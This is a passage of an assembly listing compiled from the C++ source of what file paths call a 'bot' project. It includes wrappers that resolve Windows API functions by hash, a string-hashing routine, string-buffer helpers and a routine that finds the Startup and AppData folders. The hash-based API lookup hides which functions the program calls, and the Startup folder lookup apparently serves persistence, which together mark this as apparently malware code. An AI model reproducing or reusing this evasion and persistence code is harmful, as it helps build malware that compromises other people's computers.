??$pushargEx@$00$0COOEPBBL@$0BO@PA_WPA_WH@@YAPAXPA_W0H@Z ENDP ; pushargEx<1,786755867,30,wchar_t *,wchar_t *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IBPAPAMJ@$0CE@PA_W@@YAPAXPA_W@Z ; pushargEx<1,2180051145,36,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IBPAPAMJ@$0CE@PA_W@@YAPAXPA_W@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0IBPAPAMJ@$0CE@PA_W@@YAPAXPA_W@Z PROC	; pushargEx<1,2180051145,36,wchar_t *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 24		 push	 36			; 00000024H
  00002	68 c9 f0 f0 81	 push	 -2114916151		; 81f0f0c9H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0IBPAPAMJ@$0CE@PA_W@@YAPAXPA_W@Z ENDP	; pushargEx<1,2180051145,36,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IPIPBAC@$0BF@PA_WJHHHHH@@YAPAXPA_WJHHHHH@Z ; pushargEx<1,150532354,21,wchar_t *,long,int,int,int,int,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0IPIPBAC@$0BF@PA_WJHHHHH@@YAPAXPA_WJHHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
??$pushargEx@$00$0IPIPBAC@$0BF@PA_WJHHHHH@@YAPAXPA_WJHHHHH@Z PROC ; pushargEx<1,150532354,21,wchar_t *,long,int,int,int,int,int>, COMDAT
; 147  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 148  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G);
; 149  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 15		 push	 21			; 00000015H
  00005	68 02 f1 f8 08	 push	 150532354		; 08f8f102H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 150  : 	return func(a1, a2, a3, a4, a5, a6, a7);
  00016	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 151  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$00$0IPIPBAC@$0BF@PA_WJHHHHH@@YAPAXPA_WJHHHHH@Z ENDP ; pushargEx<1,150532354,21,wchar_t *,long,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAXKPAKH@@YAPAXPAX0KPAKH@Z ; pushargEx<1,255840707,22,void *,void *,unsigned long,unsigned long *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAXKPAKH@@YAPAXPAX0KPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAXKPAKH@@YAPAXPAX0KPAKH@Z PROC ; pushargEx<1,255840707,22,void *,void *,unsigned long,unsigned long *,int>, COMDAT
; 131  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 132  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E);
; 133  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 16		 push	 22			; 00000016H
  00005	68 c3 d1 3f 0f	 push	 255840707		; 0f3fd1c3H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 134  : 	return func(a1, a2, a3, a4, a5);
  00016	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00019	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0001c	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0001f	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00022	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00025	ff d0		 call	 eax
; 135  : }
  00027	5d		 pop	 ebp
  00028	c3		 ret	 0
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAXKPAKH@@YAPAXPAX0KPAKH@Z ENDP ; pushargEx<1,255840707,22,void *,void *,unsigned long,unsigned long *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z PROC ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 81 00 00 00	 push	 129			; 00000081H
  00005	68 70 f3 a5 2c	 push	 749073264		; 2ca5f370H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$00$0CMKFPDHA@$0IB@PA_WPA_W@@YAPAXPA_W0@Z ENDP ; pushargEx<1,749073264,129,wchar_t *,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0FIPOHKKI@$0DH@HPA_W@@YAPAXHPA_W@Z ; pushargEx<1,1493072552,55,int,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0FIPOHKKI@$0DH@HPA_W@@YAPAXHPA_W@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0FIPOHKKI@$0DH@HPA_W@@YAPAXHPA_W@Z PROC ; pushargEx<1,1493072552,55,int,wchar_t *>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 37		 push	 55			; 00000037H
  00002	68 a8 7a fe 58	 push	 1493072552		; 58fe7aa8H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0FIPOHKKI@$0DH@HPA_W@@YAPAXHPA_W@Z ENDP ; pushargEx<1,1493072552,55,int,wchar_t *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0PKEPFBE@$0GH@PA_WPB_WHPA_W@@YAPAXPA_WPB_WH0@Z ; pushargEx<1,262468884,103,wchar_t *,wchar_t const *,int,wchar_t *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0PKEPFBE@$0GH@PA_WPB_WHPA_W@@YAPAXPA_WPB_WH0@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
??$pushargEx@$00$0PKEPFBE@$0GH@PA_WPB_WHPA_W@@YAPAXPA_WPB_WH0@Z PROC ; pushargEx<1,262468884,103,wchar_t *,wchar_t const *,int,wchar_t *>, COMDAT
; 124  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D);
; 125  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 67		 push	 103			; 00000067H
  00002	68 14 f5 a4 0f	 push	 262468884		; 0fa4f514H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 126  : 	return func(a1,a2,a3,a4);
  00013	ff 74 24 10	 push	 DWORD PTR _a4$[esp-4]
  00017	ff 74 24 10	 push	 DWORD PTR _a3$[esp]
  0001b	ff 74 24 10	 push	 DWORD PTR _a2$[esp+4]
  0001f	ff 74 24 10	 push	 DWORD PTR _a1$[esp+8]
  00023	ff d0		 call	 eax
; 127  : }
  00025	c3		 ret	 0
??$pushargEx@$00$0PKEPFBE@$0GH@PA_WPB_WHPA_W@@YAPAXPA_WPB_WH0@Z ENDP ; pushargEx<1,262468884,103,wchar_t *,wchar_t const *,int,wchar_t *>
_TEXT	ENDS
PUBLIC	?Hash@?$STRUTILS@_W@@SAKPB_WK_N@Z		; STRUTILS<wchar_t>::Hash
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?Hash@?$STRUTILS@_W@@SAKPB_WK_N@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_Len$ = 12						; size = 4
_LowerCase$ = 16					; size = 1
?Hash@?$STRUTILS@_W@@SAKPB_WK_N@Z PROC			; STRUTILS<wchar_t>::Hash, COMDAT
; 287  : 	// 
; 288  : 	// Str - 
; 289  : 	// Len - 
; 290  : 	// LowerCase - 
; 291  : 
; 292  : 	if (Str == NULL) return (DWORD)-1; // 
  00000	8b 54 24 04	 mov	 edx, DWORD PTR _Str$[esp-4]
  00004	85 d2		 test	 edx, edx
  00006	75 04		 jne	 SHORT $LN7@Hash
  00008	83 c8 ff	 or	 eax, -1
; 302  : 	}
; 303  : 
; 304  : 	return H;
; 305  : }
  0000b	c3		 ret	 0
$LN7@Hash:
; 293  : 
; 294  : 	DWORD H = 0;
; 295  : 
; 296  : 	for (DWORD i = 0; *Str != 0 && (Len == 0 || i < Len); Str++, i++)
  0000c	0f b7 0a	 movzx	 ecx, WORD PTR [edx]
  0000f	56		 push	 esi
  00010	33 c0		 xor	 eax, eax
  00012	33 f6		 xor	 esi, esi
  00014	66 85 c9	 test	 cx, cx
  00017	74 38		 je	 SHORT $LN4@Hash
  00019	57		 push	 edi
$LL6@Hash:
  0001a	83 7c 24 10 00	 cmp	 DWORD PTR _Len$[esp+4], 0
  0001f	74 06		 je	 SHORT $LN3@Hash
  00021	3b 74 24 10	 cmp	 esi, DWORD PTR _Len$[esp+4]
  00025	73 29		 jae	 SHORT $LN12@Hash
$LN3@Hash:
; 297  : 	{
; 298  : 		TChar Ch = *Str;
; 299  : 		if (LowerCase) LowerChar(Ch);
  00027	80 7c 24 14 00	 cmp	 BYTE PTR _LowerCase$[esp+4], 0
  0002c	0f b7 c9	 movzx	 ecx, cx
  0002f	74 0c		 je	 SHORT $LN1@Hash
  00031	8d 79 bf	 lea	 edi, DWORD PTR [ecx-65]
  00034	66 83 ff 19	 cmp	 di, 25			; 00000019H
  00038	77 03		 ja	 SHORT $LN1@Hash
  0003a	83 c1 20	 add	 ecx, 32			; 00000020H
$LN1@Hash:
; 300  : 		H = (( H << 7 ) & (DWORD)( -1 ) ) | ( H >> ( 32 - 7 ));
; 301  : 		H = H ^ Ch;
  0003d	0f b7 c9	 movzx	 ecx, cx
  00040	c1 c0 07	 rol	 eax, 7
  00043	33 c1		 xor	 eax, ecx
  00045	42		 inc	 edx
  00046	42		 inc	 edx
  00047	0f b7 0a	 movzx	 ecx, WORD PTR [edx]
  0004a	46		 inc	 esi
  0004b	66 85 c9	 test	 cx, cx
  0004e	75 ca		 jne	 SHORT $LL6@Hash
$LN12@Hash:
  00050	5f		 pop	 edi
$LN4@Hash:
  00051	5e		 pop	 esi
; 302  : 	}
; 303  : 
; 304  : 	return H;
; 305  : }
  00052	c3		 ret	 0
?Hash@?$STRUTILS@_W@@SAKPB_WK_N@Z ENDP			; STRUTILS<wchar_t>::Hash
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0GMFEEAGA@$0JM@H@@YAPAXH@Z	; pushargEx<1,1817460832,156,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0GMFEEAGA@$0JM@H@@YAPAXH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0GMFEEAGA@$0JM@H@@YAPAXH@Z PROC	; pushargEx<1,1817460832,156,int>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 9c 00 00 00	 push	 156			; 0000009cH
  00005	68 60 40 54 6c	 push	 1817460832		; 6c544060H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00016	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  0001a	ff d0		 call	 eax
; 103  : }
  0001c	c3		 ret	 0
??$pushargEx@$00$0GMFEEAGA@$0JM@H@@YAPAXH@Z ENDP	; pushargEx<1,1817460832,156,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z PROC	; pushargEx<1,168244599,169,char *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	68 a9 00 00 00	 push	 169			; 000000a9H
  00005	68 77 35 07 0a	 push	 168244599		; 0a073577H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00016	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  0001a	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001e	ff d0		 call	 eax
; 111  : }
  00020	c3		 ret	 0
??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ENDP	; pushargEx<1,168244599,169,char *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0ENFFIHLH@$0DK@PADH@@YAPAXPADH@Z ; pushargEx<1,1297450935,58,char *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0ENFFIHLH@$0DK@PADH@@YAPAXPADH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
??$pushargEx@$00$0ENFFIHLH@$0DK@PADH@@YAPAXPADH@Z PROC	; pushargEx<1,1297450935,58,char *,int>, COMDAT
; 108  : 	typedef LPVOID (WINAPI *newfunc)(A, B);
; 109  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 3a		 push	 58			; 0000003aH
  00002	68 b7 87 55 4d	 push	 1297450935		; 4d5587b7H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 110  : 	return func(a1,a2);
  00013	ff 74 24 08	 push	 DWORD PTR _a2$[esp-4]
  00017	ff 74 24 08	 push	 DWORD PTR _a1$[esp]
  0001b	ff d0		 call	 eax
; 111  : }
  0001d	c3		 ret	 0
??$pushargEx@$00$0ENFFIHLH@$0DK@PADH@@YAPAXPADH@Z ENDP	; pushargEx<1,1297450935,58,char *,int>
_TEXT	ENDS
PUBLIC	?Hash@?$STRUTILS@D@@SAKPBDK_N@Z			; STRUTILS<char>::Hash
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?Hash@?$STRUTILS@D@@SAKPBDK_N@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_Len$ = 12						; size = 4
_LowerCase$ = 16					; size = 1
?Hash@?$STRUTILS@D@@SAKPBDK_N@Z PROC			; STRUTILS<char>::Hash, COMDAT
; 287  : 	// 
; 288  : 	// Str - 
; 289  : 	// Len - 
; 290  : 	// LowerCase - 
; 291  : 
; 292  : 	if (Str == NULL) return (DWORD)-1; // 
  00000	8b 54 24 04	 mov	 edx, DWORD PTR _Str$[esp-4]
  00004	85 d2		 test	 edx, edx
  00006	75 04		 jne	 SHORT $LN7@Hash@2
  00008	83 c8 ff	 or	 eax, -1
; 305  : }
  0000b	c3		 ret	 0
$LN7@Hash@2:
  0000c	56		 push	 esi
  0000d	57		 push	 edi
; 293  : 
; 294  : 	DWORD H = 0;
  0000e	33 f6		 xor	 esi, esi
; 295  : 
; 296  : 	for (DWORD i = 0; *Str != 0 && (Len == 0 || i < Len); Str++, i++)
  00010	33 ff		 xor	 edi, edi
  00012	eb 29		 jmp	 SHORT $LN13@Hash@2
$LL6@Hash@2:
  00014	83 7c 24 10 00	 cmp	 DWORD PTR _Len$[esp+4], 0
  00019	74 06		 je	 SHORT $LN3@Hash@2
  0001b	3b 7c 24 10	 cmp	 edi, DWORD PTR _Len$[esp+4]
  0001f	73 22		 jae	 SHORT $LN4@Hash@2
$LN3@Hash@2:
; 297  : 	{
; 298  : 		TChar Ch = *Str;
; 299  : 		if (LowerCase) LowerChar(Ch);
  00021	80 7c 24 14 00	 cmp	 BYTE PTR _LowerCase$[esp+4], 0
  00026	74 0b		 je	 SHORT $LN1@Hash@2
  00028	8a c1		 mov	 al, cl
  0002a	2c 41		 sub	 al, 65			; 00000041H
  0002c	3c 19		 cmp	 al, 25			; 00000019H
  0002e	77 03		 ja	 SHORT $LN1@Hash@2
  00030	80 c1 20	 add	 cl, 32			; 00000020H
$LN1@Hash@2:
; 300  : 		H = (( H << 7 ) & (DWORD)( -1 ) ) | ( H >> ( 32 - 7 ));
; 301  : 		H = H ^ Ch;
  00033	0f be c1	 movsx	 eax, cl
  00036	c1 c6 07	 rol	 esi, 7
  00039	33 f0		 xor	 esi, eax
  0003b	42		 inc	 edx
  0003c	47		 inc	 edi
$LN13@Hash@2:
  0003d	8a 0a		 mov	 cl, BYTE PTR [edx]
  0003f	84 c9		 test	 cl, cl
  00041	75 d1		 jne	 SHORT $LL6@Hash@2
$LN4@Hash@2:
  00043	5f		 pop	 edi
; 302  : 	}
; 303  : 
; 304  : 	return H;
  00044	8b c6		 mov	 eax, esi
  00046	5e		 pop	 esi
; 305  : }
  00047	c3		 ret	 0
?Hash@?$STRUTILS@D@@SAKPBDK_N@Z ENDP			; STRUTILS<char>::Hash
_TEXT	ENDS
PUBLIC	?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z	; STRUTILS<char>::LongToString
; Function compile flags: /Ogspy
;	COMDAT ?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z
_TEXT	SEGMENT
_num$ = 8						; size = 4
_Str$ = 12						; size = 4
_n$ = 16						; size = 4
?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z PROC		; STRUTILS<char>::LongToString, COMDAT
; 344  : 	// 
; 345  : 	// 
; 346  : 	// 
; 347  : 	if (!n)
  00000	8b 4c 24 0c	 mov	 ecx, DWORD PTR _n$[esp-4]
  00004	53		 push	 ebx
  00005	56		 push	 esi
  00006	33 db		 xor	 ebx, ebx
  00008	57		 push	 edi
  00009	8b 7c 24 10	 mov	 edi, DWORD PTR _num$[esp+8]
  0000d	39 19		 cmp	 DWORD PTR [ecx], ebx
  0000f	75 23		 jne	 SHORT $LN16@LongToStri
; 348  : 	{
; 349  : 		if (!num)
  00011	3b fb		 cmp	 edi, ebx
  00013	75 08		 jne	 SHORT $LN9@LongToStri
; 350  : 			n = 1;
  00015	c7 01 01 00 00
	00		 mov	 DWORD PTR [ecx], 1
; 351  : 		else
  0001b	eb 17		 jmp	 SHORT $LN16@LongToStri
$LN9@LongToStri:
; 352  : 			for (int j = 1; num/j !=0; j *= 10) n++;
  0001d	33 f6		 xor	 esi, esi
  0001f	46		 inc	 esi
  00020	3b fb		 cmp	 edi, ebx
  00022	74 10		 je	 SHORT $LN16@LongToStri
$LL7@LongToStri:
  00024	6b f6 0a	 imul	 esi, 10			; 0000000aH
  00027	33 d2		 xor	 edx, edx
  00029	8b c7		 mov	 eax, edi
  0002b	f7 f6		 div	 esi
  0002d	43		 inc	 ebx
  0002e	85 c0		 test	 eax, eax
  00030	75 f2		 jne	 SHORT $LL7@LongToStri
  00032	89 19		 mov	 DWORD PTR [ecx], ebx
$LN16@LongToStri:
; 353  :     }
; 354  : 
; 355  :     // 
; 356  : 	if (!Str) return;
  00034	8b 74 24 14	 mov	 esi, DWORD PTR _Str$[esp+8]
  00038	85 f6		 test	 esi, esi
  0003a	74 1d		 je	 SHORT $LN1@LongToStri
; 357  : 
; 358  : 	// 
; 359  : 	int i = 1;
  0003c	33 db		 xor	 ebx, ebx
  0003e	43		 inc	 ebx
$LL3@LongToStri:
; 360  : 	int d = 0;
; 361  : 	do
; 362  : 	{
; 363  : 		d = num % 10;
  0003f	8b c7		 mov	 eax, edi
  00041	33 d2		 xor	 edx, edx
  00043	6a 0a		 push	 10			; 0000000aH
  00045	5f		 pop	 edi
  00046	f7 f7		 div	 edi
; 364  : 		num /= 10;
  00048	8b f8		 mov	 edi, eax
; 365  : 		Str[n-i]=(char)(d+48);
  0004a	8b 01		 mov	 eax, DWORD PTR [ecx]
  0004c	80 c2 30	 add	 dl, 48			; 00000030H
  0004f	2b c3		 sub	 eax, ebx
; 366  : 		i++;
  00051	43		 inc	 ebx
  00052	88 14 30	 mov	 BYTE PTR [eax+esi], dl
; 367  : 	}
; 368  : 	while(num != 0);
  00055	85 ff		 test	 edi, edi
  00057	75 e6		 jne	 SHORT $LL3@LongToStri
$LN1@LongToStri:
  00059	5f		 pop	 edi
  0005a	5e		 pop	 esi
  0005b	5b		 pop	 ebx
; 369  : }
  0005c	c3		 ret	 0
?LongToString@?$STRUTILS@D@@SAXKPADAAH@Z ENDP		; STRUTILS<char>::LongToString
_TEXT	ENDS
PUBLIC	??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z	; STRBUF::GetRec<char>
; Function compile flags: /Ogspy
;	COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC		; STRBUF::GetRec<char>, COMDAT
; 442  : 	// 
; 443  : 	TStrRec* R = (TStrRec*)Str;
; 444  :     return R[-1];
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	83 c0 f4	 add	 eax, -12		; fffffff4H
; 445  : }
  00007	c3		 ret	 0
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP		; STRBUF::GetRec<char>
_TEXT	ENDS
PUBLIC	??$Alloc@D@STRBUF@@YAPADK@Z			; STRBUF::Alloc<char>
EXTRN	?Alloc@HEAP@@YAPAXK@Z:PROC			; HEAP::Alloc
; Function compile flags: /Ogspy
;	COMDAT ??$Alloc@D@STRBUF@@YAPADK@Z
_TEXT	SEGMENT
_Size$ = 8						; size = 4
??$Alloc@D@STRBUF@@YAPADK@Z PROC			; STRBUF::Alloc<char>, COMDAT
; 379  : 	// 
 Size 
; 380  : 	// 
; 381  : 	if (Size == 0) return NULL;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Size$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	75 01		 jne	 SHORT $LN2@Alloc
; 396  : 	return (TChar*)Buf;
; 397  : }
  00008	c3		 ret	 0
$LN2@Alloc:
; 382  : 
; 383  : 	#ifdef USE_BLOCKS_STRINGS
; 384  :         Size = ((Size / STRING_BLOCK_SIZE) + 1) * STRING_BLOCK_SIZE;
  00009	c1 e8 05	 shr	 eax, 5
  0000c	40		 inc	 eax
  0000d	c1 e0 05	 shl	 eax, 5
  00010	56		 push	 esi
  00011	8b f0		 mov	 esi, eax
; 385  : 	#endif
; 386  : 
; 387  : 	DWORD BufSize = (Size + 1) * sizeof(TChar) + sizeof(TStrRec);
  00013	8d 46 0d	 lea	 eax, DWORD PTR [esi+13]
; 388  : 	TStrRec* Buf = (TStrRec*)HEAP::Alloc(BufSize);
  00016	50		 push	 eax
  00017	e8 00 00 00 00	 call	 ?Alloc@HEAP@@YAPAXK@Z	; HEAP::Alloc
  0001c	59		 pop	 ecx
; 389  : 	if (Buf == NULL) return NULL;
  0001d	85 c0		 test	 eax, eax
  0001f	75 02		 jne	 SHORT $LN1@Alloc
  00021	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00022	c3		 ret	 0
$LN1@Alloc:
; 390  : 
; 391  : 	Buf->Size     = Size;
; 392  : 	Buf->Length   = 0;
  00023	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00027	89 30		 mov	 DWORD PTR [eax], esi
; 393  : 	Buf->RefCount = 1;
  00029	c7 40 08 01 00
	00 00		 mov	 DWORD PTR [eax+8], 1
; 394  : 
; 395  : 	Buf++;
  00030	83 c0 0c	 add	 eax, 12			; 0000000cH
  00033	5e		 pop	 esi
; 396  : 	return (TChar*)Buf;
; 397  : }
  00034	c3		 ret	 0
??$Alloc@D@STRBUF@@YAPADK@Z ENDP			; STRBUF::Alloc<char>
_TEXT	ENDS
PUBLIC	?GetShellFoldersKey@@YAPA_WK@Z			; GetShellFoldersKey
EXTRN	?MemAlloc@@YAPAXK@Z:PROC			; MemAlloc
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\botutils.cpp
;	COMDAT ?GetShellFoldersKey@@YAPA_WK@Z
_TEXT	SEGMENT
_dwParam$ = 8						; size = 4
?GetShellFoldersKey@@YAPA_WK@Z PROC			; GetShellFoldersKey, COMDAT
; 34   : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 35   : 	int dwTemp = 0;
  00002	33 ff		 xor	 edi, edi
; 36   : 
; 37   : 	if ( dwParam == 1 )
  00004	83 7c 24 0c 01	 cmp	 DWORD PTR _dwParam$[esp+4], 1
  00009	75 04		 jne	 SHORT $LN4@GetShellFo
; 38   : 	{
; 39   : 		dwTemp = CSIDL_STARTUP;
  0000b	6a 07		 push	 7
  0000d	eb 09		 jmp	 SHORT $LN7@GetShellFo
$LN4@GetShellFo:
; 40   : 	}
; 41   : 	else if ( dwParam == 2 )
  0000f	83 7c 24 0c 02	 cmp	 DWORD PTR _dwParam$[esp+4], 2
  00014	75 03		 jne	 SHORT $LN2@GetShellFo
; 42   : 	{
; 43   : 		dwTemp = CSIDL_APPDATA;
  00016	6a 1a		 push	 26			; 0000001aH
$LN7@GetShellFo:
  00018	5f		 pop	 edi
$LN2@GetShellFo:
; 44   : 	}
; 45   : 
; 46   : 	WCHAR *UserPath = (WCHAR*)MemAlloc( MAX_PATH * sizeof(WCHAR) );
  00019	68 08 02 00 00	 push	 520			; 00000208H
  0001e	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00023	8b f0		 mov	 esi, eax
  00025	59		 pop	 ecx
; 47   : 
; 48   : 	if ( UserPath == NULL )
  00026	85 f6		 test	 esi, esi
  00028	74 10		 je	 SHORT $LN5@GetShellFo
